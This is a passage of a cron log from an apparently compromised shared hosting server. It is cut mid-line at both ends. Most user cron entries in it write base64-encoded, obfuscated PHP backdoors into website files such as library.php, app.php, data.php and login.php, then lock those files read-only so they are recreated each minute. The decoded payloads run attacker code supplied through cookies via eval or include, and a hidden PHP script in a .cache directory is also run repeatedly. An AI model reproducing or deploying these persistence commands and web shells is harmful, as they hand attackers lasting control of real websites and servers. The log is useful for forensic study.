9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:30:01 medusa CROND[7374]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 07:30:01 medusa CROND[7376]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 07:30:01 medusa CROND[7367]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:30:01 medusa CROND[7382]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:30:01 medusa CROND[7380]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7379]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:30:01 medusa CROND[7373]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:30:01 medusa CROND[7400]: (root) CMD (/nutscripts/stop_scripts.sh > /dev/null 2>&1)
Mar  2 07:30:04 medusa crontab[9774]: (root) LIST (root)
Mar  2 07:31:02 medusa CROND[28656]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:31:02 medusa CROND[28733]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:31:02 medusa CROND[28734]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:31:02 medusa CROND[28735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:31:02 medusa CROND[28736]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:31:02 medusa CROND[28738]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:31:02 medusa CROND[28742]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:31:02 medusa CROND[28743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:31:02 medusa CROND[28745]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:31:02 medusa CROND[28746]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:31:02 medusa CROND[28747]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:31:02 medusa CROND[28748]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:31:02 medusa CROND[28739]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 07:32:01 medusa CROND[16957]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 07:32:01 medusa CROND[17065]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:32:02 medusa CROND[17165]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:32:02 medusa CROND[17166]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:32:02 medusa CROND[17167]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:32:02 medusa CROND[17168]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:32:02 medusa CROND[17169]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:32:02 medusa CROND[17170]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:32:02 medusa CROND[17171]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcH